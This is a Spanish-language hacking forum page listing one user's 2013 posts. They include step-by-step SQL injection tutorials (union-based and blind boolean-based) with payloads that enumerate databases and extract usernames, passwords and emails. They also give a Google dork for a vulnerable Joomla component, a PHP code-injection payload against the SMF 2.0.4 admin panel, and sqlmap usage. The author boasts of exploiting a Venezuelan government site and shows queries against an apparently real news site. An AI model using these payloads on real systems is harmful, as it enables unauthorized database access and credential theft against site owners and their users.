Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - M5f3r0

#21
Excelente! Me ha sido de útilidad. Muchas gracias, se agradece el aporte ;).

Sigue así, saludos!
#22
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola, espero que no te tomes a mal mi comentario, pero esto ya es spam.
¿Dices cómo explotar union based y blind boolean based?, perfecto, pero con una vez creo que es suficiente, no tienes porqué publicar lo mismo dos veces.
Blind Boolean Based: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Union Based: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si quieres aumentar el contenido aumentalo en el mismo aporte para algo está la opción editar, ¿digo yo no?.
Un saludo!

Gracias por el consejo, copie y pegue el texto de mi post de blind boolean based para poder unir ambos y convertirlo como un curso ;).

Saludos ;).
#23
Informática Forense / Re:Skype Forensic [Java]
Agosto 24, 2013, 02:51:52 AM
Muy buena herramienta amigo!! Sigue así :D. Se ve bastante interesante y efectiva, y la interfaz muy guapa.

Saludos!
#24
La Inyección SQLi vendría siendo una técnica muy conocida en la internet, la cúal consiste en la ejecución de consultas SQL a la base de datos que se presentan en una aplicación web, La Inyección SQL se debe a la mala filtración de nuestras variables las cúales son llamadas en nuestras consultas SQL.

Existen dos formas en la vulnerabilidad SQLi, String o Integer. La String vendría siendo como cuando tenemos una variable la cúal está encapsulada entre dos "$id" y la integer en caso contrario.

- Union Based:

Para iniciar el curso comenzaremos con lo más básico, "Union Based", La cúal se basa en la selección de una union, en la que hacemos uso de la sentencia "SELECT", un ejemplo en una consulta SQL:

Código: text
SELECT id,0x7e,username,0x7e,password,0x7e,email FROM users


Vendría siendo una consulta SQL la cúal se encarga de seleccionar las columnas "id,username,password y email" que pertenecen a la tabla "users".

Y como lo pudieron notar use "0x7e" lo que equivale a ~ en hexádecimal y use al principio 0x para que el servidor MySQL lo pueda entender. Lo uso para distinguir los resultados.

1.- Consulta vulnerable en nuestro archivo PHP:

Código: text
$sql = "SELECT * FROM users WHERE nombre='m5f3r0'"; // Consulta SQL vulnerable en la variable $sql
mysql_query($sql) // Hacemos la consulta


La consulta SQL vulnerable se encontraría en nuestra variable $sql en la que hacemos una selecciçon de la tabla "USERS"

Y al final procedemos a realizar la consulta MySQL llamando a la variable $sql la cúal contiene nuestra consulta que haremos a la base de datos, y luego uso "WHERE" para llamar a la columna "nombre" y seguidamente de algún registro o valor, en este caso "m5f3r0".

2.- Identificación entre "String y Integer"

Bueno, ya entendemos la consulta SQL vulnerable en nuestro sitio, ahora procederemos a la extracción de los datos del servidor mediante el uso de consultas SQL. Antes de hacer esto, debemos conocer el tipo de vulnerabilidad, es decir, si es String o Integer. Anteriormente ya explique que son estás dos cosas.

En la URL del sitio web vulnerable, supongamos que tenemos la siguiente ruta:

www.vulnerable.com/categoria.php?id=1

En dónde procederemos a realizar nuestras consultas seguidamente del parámetro "ID" el cúal es el vulnerable.

Primero comprobaremos si es string, para ello coloquemos una ' al final del id 1, ejemplo: categoria.php?id=1'

Y nos reflejara el error "You have an error in your SQL;.." , ahora colocaremos al final algún comentario en MySQL. MySQL permite los siguientes comentarios:

1: -- - o -- Comentarios de 1 sola línea
2: # Comentario de 1 sola línea
3:
/*
y
*/ Comentarios de varías líneas

Lo que vaya seguido de estos comentarios no lo leera el servidor.

Entonces procedemos, para comprobar si es string seguido de la ' añadimos algún comentario, yo usare -- - . Si automáticamente se nos fixea (es decir, se nos quita el error) significa que es de tipo String.

En caso contrario, es decir, si no se fixea significa que es integer y tendremos que hacer la inyección sin una ' a partir de ahora, ej: categoria.php?id=1 SELECT 80+1 -- -comentario

3.- Comprobar las columnas vulnerables

Seguidamente debemos comprobar cuales son las columnas vulnerables a las que procederemos a inyectar, para ello, haremos uso de la clausula "order by" o "group by" una se encarga de ordenar y la otra de agrupar. Para ello inyectaremos lo siguiente en la URL:

categoria.php?id=1 order by 10 -- -comentario

Si nos sale algún resultado como "in order clause"

Esto significa que no coincide con el número especificado, es decir, tiene menos columnas. Pero si en caso de que nos salga la página normal, significa que tiene más columnas o tiene esa misma que hayamos especificado.

Yo probe con 10 y si coloco 9:

categoria.php?id=1 order by 9 -- -comentario

Y me sale la página normal significa que tiene 9 columnas, ahora haremos uso de las sentencias "UNION SELECT 1,2,3,4,5,6,7,8,9".

Ahora podemos proceder a la extracción de datos del servidor y del sitio web.

3.- Extrayendo los nombres de las bases de datos

Ahora procederemos a la extracción de los nombres de las bases de datos, para ello haremos la extracción de metadatos (datos de otros datos por decirlo así) los cuales se encuentran en una base de datos especial del servidor MySQL llamada "information_schema" , la cúal almacena todo tipo de datos de nuestro servidor, como nuestro usuario MySQL, privilegios, nombres de tablas, bases de datos, etc..

En la base de datos "information_schema" hay una tabla llamada "schemata", en la cúal se almacenan los registros de los nombres de nuestras bases de datos, que creamos nosotros mismos.

En está tabla se encuentra una columna llamada "schema_name" , que es en la que se almacenan los registros. Procederemos a extraer dichos datos, pero antes de esto haremos la siguiente consulta para extraer las columnas vulnerables:

categoria.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9 -- -comentario

Y añadimos un - a un lado del 1. Y lo ejecutamos en la página y de repente nos dispara unos números, los cúales son las columnas vulnerables dónde procederemos a inyectar.  Supongamos que la columna vulnerable es la 2, inyectaremos allí.

Bien, ahora procederemos a la extracción de los nombres de las bases de datos, para ello usaremos la siguiente consulta:

categoria.php?id=1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata -- -comentario

Aquí hacemos uso de la función group_concat() , la cúal es para la concatenación con un separador de los registros en la columna "schema_name" , aunque solo extrae 1 mb de datos. Y seguidamente al final de los números uso from information_schema.schemata , con esto especifico "de la base de datos de la tabla schemata" . Y automáticamente empezara a reflejar los datos con los nombres de todas las bases de datos del servidor MySQL.

Ciertas veces, pueden haber más datos de lo que soporta el group_concat() , así que podemos usar "LIMIT" el cúal es para limitar los resultados, lo añadimos al final de toda la consulta, limit 0,1 , limit 1,1 , limit 2,1 y así sucesivamente. Ej: categoria.php?id=1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata limit 1,1 -- -comentario


Y si solo queremos extraer el nombre de la currente base de datos del sitio web, hacemos uso de la función database() el cúal lo inyectamos en la columna vulnerable. ej: categoria.php?id=1 UNION SELECT 1,database(),3,4,5,6,7,8,9 -- -comentario

Automáticamente nos lanzara el nombre currente de la base de datos.

4.- Extracción de los nombres de las tablas

En la base de datos information_schema existe una tabla llamada "TABLES" , la cúal tiene una columna llamada "table_name", en la que se almacenan todos los nombres de todas las tablas que existen en todas las bases de datos. En dónde procederemos a extraer los nombres de las tablas. Para ello, usaremos la siguiente consulta:

categoria.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=0xnombredeladb -- -comentario

En dónde table_name vendría siendo el nombre de la columna en la que se encuentran los datos de las columnas y "tables" que vendría siendo el nombre de la tabla en dónde se encuentran los datos, y use where para especificar que los resultados pertenezcan a uno de los datos de la columna "table_schema" y al final podemos usar la función char() la cúal es para codificar algún texto en charcode, o usamos hexadecimal para ello mismo. haciendo 0x+elnombredeladb+ .

Y automáticamente se nos empezara a lanzar los nombres de todas las tablas que existen en la base de datos que especificamos por su nombre. Aunque también podemos usar LIMIT para limitar los resultados y búscar 1 por 1 .

5.- Extrayendo los nombres de las columnas de una tabla

En information_schema se encuentra una tabla llamada "columns" en la que existe una columna con el nombre "column_name" la cúal contiene los nombres de las columnas que existen en todas las bases de datos. Para proceder a la extracción de los nombres de las columnas usaremos la siguiente consulta en la URL:

categoria.php?id=1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0xusers -- -comentario

Y cómo lo pueden notar, lo que cambio fue el "table_name" el cúal lo reemplaze por "column_name" , information_schema.tables por columns el cúal es el nombre de la tabla "COLUMNS" en information_schema , y por último el "table_schema" por "table_name" , en dónde especifico el nombre de la tabla a la que extraeré las columnas, en este caso especifique la tabla "users". Luego ejecutamos la consulta en la URL y automáticamente nos empezara a lanzar todos los nombres de las columnas de la tabla currente.

5.- Extrayendo los registros

Para poder extraer los registros, reemplazaremos el group_concat() por concat(), el cúal extrae 16 mb (si no me equivoco) de datos. Seguidamente de los nombres de las columnas de una tabla currente, y al final usaremos from +el nombre de la tabla+ , Consulta en la url:

categoria.php?id=1 UNION SELECT 1,concat(id,0x7e,username,0x7e,password,0x7e,email),3,4,5,6,7,8,9 users -- -comentario

Y automáticamente se nos extraerán los registros de la tabla.

- Vídeo de muestra (es mío):



- Blind Boolean Based:

1.- ¿Qué es una "Blind SQLi Boolean Based"?

Si se pueden fijar en el nombre, este mismo se los dice todo. Cuando decimos "Boolean based" nos referimos a que está se basa en valores booleanos, es decir, true or false/verdadero y false. Y cuando digo "Blind" Me refiero a que la Inyección es a ciegas, es decir, no nos muestra alguna señal de error.

La única forma de extraer datos que se encuentren en la currente base de datos, sería usando el modo brute force, es decir, adivinando.

2.- Explicando dos funciones importantes

Una de las funciones más comúnes que usamos al momento de explotar una Blind Boolean Based, es ascii() , con este devolvemos algún carácter válidado de la tabla "ASCII" (si no me equivoco).

Otro vendría siendo substring() con esta devolvemos una subcadena de otra subcadena.

4.- Comprobando si el sitio es vulnerable

Existen algunas formas para comprobar si el sitio web que tenemos en las manos es vulnerable a una Blind SQLi Boolean Based, podemos usar la sentencia "AND" , seguidamente alguna operación, que de como resultado un valor verdadero o uno falso (booleanos), true or false, por ejemplo, podemos usar AND 1=1 , lo cúal vendría siendo igual a True/Verdadero, ya que 1 es igual a 1 :D.

Y si coloco, and 1=0 , me debería dar un resultado false/falso , ya que 1 no es igual a 0. Un ejemplo en un sitio web:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como pueden observar, al final coloque un "-- -" , lo que es un comentario, el servidor solo lee lo que está entre la ' y el comentario -- - es decir, and 1=1 :D.  Todo lo que vaya luego de -- - el servidor no lo leera.

Y bueno, como pudieron observar en la página del sitio, se reflejo todo el texto de la noticia, ya que nos dio un resultado como true. Y ahora, si yo uso "and 1=0" me devolvería un resultado falso, ya que 1 no es igual a 0 como lo dije anteriormente, ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Y esto nos da señal de que es vulnerable :D.

Aparte de usar "AND" también podemos usar "having" , que sería otra de las alternativas. es decir, reemplazamos el and y colocamos having, ej:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ;D.

Otra alternativa es, "DIV" , reemplazamos el having o el and y colocamos div , ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login .

4.- Explotación de la vulnerabilidad

La primera fase para explotar la vulnerabilidad, sería extraer el nombre de la base de datos, para ello, iremos búscando el nombre de la DB carácter por carácter.., haciendo uso de la función database(), ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Ok, explico, con esto le estoy preguntando al servidor si el primer carácter de la base de datos empieza por 116, en dónde 116 corresponde a "t" en la tabla ascii, entonces, el servidor me dara una respuesta basada en valores booleanos, es decir, si el primer carácter SI empieza por la letra t este me devolvera true, de lo contrario me devolvera false :D. Por ejemplo, si hago lo siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Me devuelve false, es decir, el primer carácter no comienza por la letra "s" la cual en decimal corresponde a 115, (está en la tabla ascii). Les dejo la siguiente que se apoyen más adelante:



Ok, ya yo por defecto se que el nombre de la db es "truji1_noticias", ya que le he hecho un escáneo al sitio :D.

Entonces, ustedes pueden ir aumentando el número de los carácteres y ir búscando letra por letra, aumentando de 1,1 , 2,1 y así sucesivamente. Aunque pueden llegar a aburrirse y duren mucho.

Ahora podemos seguir a extraer los nombres de las tablas existentes de la DB, para ello, hacemos lo siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como pueden observar, aquí le estoy preguntando si hay una tabla llamada noticias y me devuelve un resultado como true, es decir, SÍ, hay una tabla llamada noticias en la base de datos :D. Y use select count(*) con un * ya que aún no tenemos las columnas de esa tabla :D.

Ustedes pueden colocar luego de from el nombre de una tabla y este se encargara de verificar si está existe.

Ahora, el siguiente paso sería averiguar los nombres de las columnas de la currente tabla, para ello, reemplazamos el * por el nombre de la columna a verificar si existe, ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Con esto, le estoy preguntando si existe una columna llamada "id" en la tabla "noticias", y esto me devuelve como resultado true :D, es decir, que si existe una columna con el nombre "id", así podemos ir reemplazando nosotros y búscando nombre por nombre cada columna, ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Reemplaze id y puse fecha, y este me dice que si existe una columna con ese nombre jeje ;D.

La última fase vendría siendo la obtención de los datos de cada tabla, para ello, usaremos los siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Entonces, con esto le pregunto al servidor si el primer carácter de la primera fila de la columna "id" es 1 , lo cúal significa 49 en decimal :D, y así podremos ir búscando carácter por carácter hasta ir obteniendo los datos reales, aumentando el limit de 0,1 a 1,1 a 2,1 y así sucesivamente ;-). Y si queremos pasar a la siguiente fila, cambiamos el 1,1 por 2,1 y así vamos ;D.

- Link del tutorial del segundo post (mío también): You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Y bueno, eso ha sido todo amigos! Espero les haya gustado. Vere si próximamente actualizo el post y coloco sobre Time based u Error based/double query. Y saludos y agradecimientos a mi amigo arthusu por algunas explicaciones que me ha dado ;).

Saludos, @M5f3r0.
#25
Bugs y Exploits / Re:[TUTORIAL] Como crear tu csrf
Agosto 23, 2013, 10:45:20 PM
Estás rippeando los posts de el foro You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, coloca la fuente por favor.

Saludos ;).
#26
Presentaciones y cumpleaños / Re:print "Hola"
Agosto 23, 2013, 02:41:10 PM
Bienvenido amigo!, Ya nos leemos por el foro ;).

Saludos y espero que te sientas cómodo con nosotros :D.
#27
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hombre...con todas mis disculpas...muy desconocidas, no son... ;)

Dije que son un poco desconocidas, no muy desconocidas, pero actualmente ya bastantes conocen estás dos herramientas.
#28
Bugs y Exploits / Re:Vulnerabilidad en wordpress
Agosto 16, 2013, 07:43:44 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
yo tengo una pregunta (bueno varias)

me imagino la potencialidad de esto, pero no veo ¿Cómo usarlo?

me pueden ayudar?

Lamento revivir el tema, (aunque ya lo hayan hecho), te explico lo que puedes hacer con estos datos.

el contenido del archivo "wp-config.php" son los datos de la conexión al MySQL del servidor, el nivel de peligrosidad llegaría siendo grave, si tienes alguna distribución de linux con MySQL, lo ejecutas y tecleas los siguientes comandos:

mysql -h localhost -u userMySQL@localhost -p (contraseña).

Saludos y espero te haya sido de ayuda ;).
#29

Se ha detectado una vulnerabilidad SQL Injection en los servidores web de Joomla, la cúal se encuentra en uno de los módulos, "com_fireboard". El nivel de peligrosidad es grave ya que compromete la información privada del servidor web en la base de datos.

El módulo vulnerable es "index.php?option=com_fireboard" , con el parámetro vulnerable "func fb_"

- Google Dork's:

inurl:"id=" & intext:"/com_fireboard/"

- Url vulnerable:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login'[Vuln]

Y después de todo, joomla una vez más nos demuestra tener muy poca seguridad en sus servidores.

Saludos, @M5f3r0 .
#30
Buenas comunidad de Underc0de, en está ocasión les vengo a dar una explicación sobre una técnica que pertenece a la rama de la Inyección SQLi, en este caso, se llama "Blind SQLi Boolean Based".

1.- ¿Qué es una "Blind SQLi Boolean Based"?

Si se pueden fijar en el nombre, este mismo se los dice todo. Cuando decimos "Boolean based" nos referimos a que está se basa en valores booleanos, es decir, true or false/verdadero y false. Y cuando digo "Blind" Me refiero a que la Inyección es a ciegas, es decir, no nos muestra alguna señal de error.

La única forma de extraer datos que se encuentren en la currente base de datos, sería usando el modo brute force, es decir, adivinando.

2.- Explicando dos funciones importantes

Una de las funciones más comúnes que usamos al momento de explotar una Blind Boolean Based, es ascii() , con este devolvemos algún carácter válidado de la tabla "ASCII" (si no me equivoco).

Otro vendría siendo substring() con esta devolvemos una subcadena de otra subcadena.

4.- Comprobando si el sitio es vulnerable

Existen algunas formas para comprobar si el sitio web que tenemos en las manos es vulnerable a una Blind SQLi Boolean Based, podemos usar la sentencia "AND" , seguidamente alguna operación, que de como resultado un valor verdadero o uno falso (booleanos), true or false, por ejemplo, podemos usar AND 1=1 , lo cúal vendría siendo igual a True/Verdadero, ya que 1 es igual a 1 :D.

Y si coloco, and 1=0 , me debería dar un resultado false/falso , ya que 1 no es igual a 0. Un ejemplo en un sitio web:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como pueden observar, al final coloque un "-- -" , lo que es un comentario, el servidor solo lee lo que está entre la ' y el comentario -- - es decir, and 1=1 :D.  Todo lo que vaya luego de -- - el servidor no lo leera.

Y bueno, como pudieron observar en la página del sitio, se reflejo todo el texto de la noticia, ya que nos dio un resultado como true. Y ahora, si yo uso "and 1=0" me devolvería un resultado falso, ya que 1 no es igual a 0 como lo dije anteriormente, ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Y esto nos da señal de que es vulnerable :D.

Aparte de usar "AND" también podemos usar "having" , que sería otra de las alternativas. es decir, reemplazamos el and y colocamos having, ej:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ;D.

Otra alternativa es, "DIV" , reemplazamos el having o el and y colocamos div , ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login .

4.- Explotación de la vulnerabilidad

La primera fase para explotar la vulnerabilidad, sería extraer el nombre de la base de datos, para ello, iremos búscando el nombre de la DB carácter por carácter.., haciendo uso de la función database(), ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Ok, explico, con esto le estoy preguntando al servidor si el primer carácter de la base de datos empieza por 116, en dónde 116 corresponde a "t" en la tabla ascii, entonces, el servidor me dara una respuesta basada en valores booleanos, es decir, si el primer carácter SI empieza por la letra t este me devolvera true, de lo contrario me devolvera false :D. Por ejemplo, si hago lo siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Me devuelve false, es decir, el primer carácter no comienza por la letra "s" la cual en decimal corresponde a 115, (está en la tabla ascii). Les dejo la siguiente que se apoyen más adelante:



Ok, ya yo por defecto se que el nombre de la db es "truji1_noticias", ya que le he hecho un escáneo al sitio :D.

Entonces, ustedes pueden ir aumentando el número de los carácteres y ir búscando letra por letra, aumentando de 1,1 , 2,1 y así sucesivamente. Aunque pueden llegar a aburrirse y duren mucho.

Ahora podemos seguir a extraer los nombres de las tablas existentes de la DB, para ello, hacemos lo siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como pueden observar, aquí le estoy preguntando si hay una tabla llamada noticias y me devuelve un resultado como true, es decir, SÍ, hay una tabla llamada noticias en la base de datos :D. Y use select count(*) con un * ya que aún no tenemos las columnas de esa tabla :D.

Ustedes pueden colocar luego de from el nombre de una tabla y este se encargara de verificar si está existe.

Ahora, el siguiente paso sería averiguar los nombres de las columnas de la currente tabla, para ello, reemplazamos el * por el nombre de la columna a verificar si existe, ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Con esto, le estoy preguntando si existe una columna llamada "id" en la tabla "noticias", y esto me devuelve como resultado true :D, es decir, que si existe una columna con el nombre "id", así podemos ir reemplazando nosotros y búscando nombre por nombre cada columna, ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Reemplaze id y puse fecha, y este me dice que si existe una columna con ese nombre jeje ;D.

La última fase vendría siendo la obtención de los datos de cada tabla, para ello, usaremos los siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Entonces, con esto le pregunto al servidor si el primer carácter de la primera fila de la columna "id" es 1 , lo cúal significa 49 en decimal :D, y así podremos ir búscando carácter por carácter hasta ir obteniendo los datos reales, aumentando el limit de 0,1 a 1,1 a 2,1 y así sucesivamente ;-). Y si queremos pasar a la siguiente fila, cambiamos el 1,1 por 2,1 y así vamos ;D.

Y bueno, eso ha sido todo, espero les haya gustado el tutorial y lo hayan logrado entender.

Saludos, M5f3r0.
#31
Muchas veces, al auditar un servidor web hacemos mucho esfuerzo por conseguir vulnerabilidades para lograr algún fin ético o no ético, para llegar a cumplir nuestro objetivo, pero existen dos herramientas un poco desconocidas las cuales son muy útiles al momento de auditar una página web, en Joomla y wordpress.

Dichas herramientas se encargan de automatizar el proceso de búsqueda de vulnerabilidades en un servidor tales como Inyección SQLi, XSS, LFI, entre otras. Entonces, estás herramientas tienen la posibilidad de ahorrarnos mucho tiempo en la auditoria, veremos cuales son a patir de ahora, Vamos a ello:

Wordpress:


Para la auditoria en un servidor web de wordpress, existe una herramienta llamada "WPscan" , la cúal fue desarrollada en ruby, esta herramienta tiene la misma útilidad que la próxima que explicaremos más adelante para Joomla, realizar un escaneo al sitio web con el fin de encontrar vulnerabilidades web, las cuales comúnmente se encuentran en los plugins/complementos del sitio.

Está herramienta pertenece a los módulos del Backtrack 5 r3, entonces si tenemos dicho OS abrimos la terminal y ejecutamos lo siguiente:

cd /pentest/web/wpscan

La cúal es la ruta en dónde se encuentra dicha herramienta. Y si no la tienen allí, solo especifiquen la ruta seguidamente del CD.

Entonces, para ejecutar la herramienta hacemos lo siguiente:

ruby wpscan.rb --url You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Aquí necesitamos ruby, pero ya viene instalado por defecto en el backtrack. Seguidamente de esto, automáticamente la herramienta empezara a auditar el sitio web de wordpress, reflejandonos todas sus respectivas vulnerabilidades.

Joomla:


Está herramienta a diferencia de la otra, fue desarrollada en perl, y se llama "Joomscan", también se encarga de auditar el servidor con el fin de la detección de vulnerabilidades web. Para ejecutar la herramienta, teclearemos lo siguiente en la terminal:

cd /pentest/web/joomscan

Seguidamente, ejecutamos lo siguiente:

perl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Y automáticamente, nos empezara a reflejar las vulnerabilidades que se encuentra en el servidor web (si es que encuentra). Entonces, satisfactoriamente hemos logrado cumplir nuestro objetivo de auditar un servidor web de manera automátizada la cúal nos ahorra mucho tiempo de lo normal.

Espero les haya gustado.

Saludos, @M5f3r0 .
#32
Buenas comunidad de Underc0de, hoy estuve navegando por la net búscando algún bug o exploit para SMF 2.0.4 y así aprender algo nuevo ya que estaba aburrido jeje, y pues me tope con una vulnerabilidad de SMF 2.0.4 la cúal hablaba sobre la ejecución de un código PHP remoto en SMF 2.0.4 , entonces ópte por montar un foro SMF en el localhost para así testear dicha vulnerabilidad la cúal se encontraba en el panel de administración.

Para poder aprovecharse de está vulnerabilidad, es necesario tener la cuenta de un administrador para poder acceder a dicho panel de administración, ya que es dónde se encuentra dicha falla, abrimos la sección de Lenguajes > Editar lenguajes y luego damos click en cualquieras de los lenguajes que tengan instalado.

Y cómo observamos, nos saldrá una lista de inputs de textos , si tenemos un servidor de prueba para testear está vulnerabilidad, si vamos a la carpeta que contiene dichas rutas vayamos a Themes > default > languages y abrimos el archivo PHP llamado "index.spanish_latin-utf8" o "index.english" dependiendo del lenguaje que vayamos a modificar.

Observemos estás líneas las cuales son del lenguaje español (dónde hare el testeo):

Código: text
$txt['lang_locale'] = 'es_AR.utf8';
$txt['lang_dictionary'] = 'es';
$txt['lang_spelling'] = 'spanish';


son las líneas de los inputs, la llamada "lang_locale" es esa que pertenece a el input de texto que dice "es_AR.utf8" , ejemplo con una imágen:



Y "lang_dictionary" y "lang_spelling" pertenecen a las otras dos. Entonces, la manera de aprovecharnos de está falla sería ejecutando algún código PHP remoto, por ejemplo yo coloco phpinfo() , quedando así "\';phpinfo();//" , ya que SMF cuando intentamos añadir una comilla este nos inválida la inyección, pero este no filtra el "\" y haremos un bypasseo con la comilla quedando de la siguiente manera: \\';phpinfo();// , ahora lo ingresamos en uno de los inputs y veamos:



Y guardamos, y ¡Guala! se reinicia la página y nos muestra el phpinfo() , como se ve el código en el archivo:

Código: text
$txt['lang_locale'] = 'es_AR.utf8\\';phpinfo();//';
$txt['lang_dictionary'] = 'es';
$txt['lang_spelling'] = 'spanish';


Y satisfactoriamente, hemos logrado infiltrar un código php de manera remota.

Otra cosa, no solo podemos usar phpinfo() podemos usar otros códigos de PHP, es cuestión de conocer :).

Link de dónde me he leído sobre este tema: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos!
#33
O_O, Excelente aportee!! Trae muchos temas bastante interesantes y llamativos!!, Buenísimo brother, Hasta hay temas que estuve búscando por un tiempo ;D. Excelente, muchísimas gracias.

Salu2 ;).
#34
Bugs y Exploits / Re:Bypass Cloudflare (2 metodos)
Agosto 07, 2013, 02:54:09 PM
Wow!! Excelente aporte brother!!, Sigue así ;D.

Saludos!
#35
Bugs y Exploits / Re:Explotando 0-day Java 7 Update 10
Agosto 05, 2013, 01:01:39 PM
Excelente aporte brother!! Si estás comenzado con el tema del hacking vas por muy buen camino!! ;). Sigue así man.

Salu2, Por cierto, buena música la del vídeo xD.
#36
Hola comunidad de Underc0de, en está ocasión les traigo un vídeo de muestra en el que exploto una vulnerabilidad SQLi Union Based en una Gobernación de Venezuela, Espero les guste ;-).

- Vídeo:



Saludos y espero les guste.
#37
Ruby / Re:Operadores aritméticos en Ruby [básico]
Agosto 02, 2013, 12:51:13 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Una mini critica/corrección M5f4r0... 5 ** 2 es 25 porque es potencia ^^

Saludos y a seguir aportando =)

Ah cierto, mi error ;D, gracias por reportar bro.

salu2
#38
Hola gente de Underc0de, en está ocasión les vengo a enseñar sobre algunos comandos que pocos deben conocer del SQLmap, tal vez algunos los hayan visto, pero por otro lado posiblemente otros no, así que vamos para ello!! ;D.

Ciertas veces, un usuario común puede usar las mismas estrategias en dicha herramienta, en el caso del SQLmap, los comandos menos útilizados también pueden llegar a ser muy útiles, aunque vienen siendo los más desconocidos, comúnmente usamos los comandos más básicos y necesarios debido a que son los más importantes en la explotación de dicha vulnerabilidad, pero ciertas veces el SQLmap puede llegar a confundirse y tal vez lleguemos a necesitar de otros comandos para específicar mejor la vulnerabilidad y/o explotación. Entonces, este tutorial entenderemos dichos fundamentos para conocer más la herramienta a FONDO.

Explotación:

1.- El comando --url o -u

Con este comando, especificamos la url o dirección de la página vulnerable, ya sea GET o POST. Podemos usarlo como --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" o simplemente -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login , un ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --dbs

2.- Comandos -p y --skip

Primero comenzemos con el comando -p, sirve para poder especificar el parámetro vulnerable, ej: -p "id" , estamos especificando que el parámetro dónde debe inyectar y el vulnerable es "id". Ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" -p "id" --dbs

Y con el comando --skip, simplemente le decimos al SQLmap que cuando términe de testear el primer parámetro pase al siguiente, ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" -p "id" --skip --dbs

3.- Método POST

En el SQLmap, también podemos llegar a especificar el tipo de método, están entre GET & POST, los post's podemos llegar a visualizarlo con algún add-on o complemento de mozilla entre otros navegadores, yo les recomiendo el Hackbar o Live HTTP Headers. Bueno, para especificar el método post hacemos uso del comando --data="" y entre las comillas, colocamos los parámetros, ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --dbs

4.- Comandos --prefix and --suffix

Estos dos comandos, también pueden llegar a sernos útiles al momento de la explotación de una SQLi, el comando --suffix , significa "sufijo" con el cúal podemos añadir algo al final de la inyección, ya sea un comentario, entre otras cosas. Se usa de la siguiente manera:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --suffix=" -- -coment" --dbs

Y el comando --prefix="" que viene significando "prefijo" , con el que podemos especificar algo al inicio de la inyección, se usa de la siguiente manera:

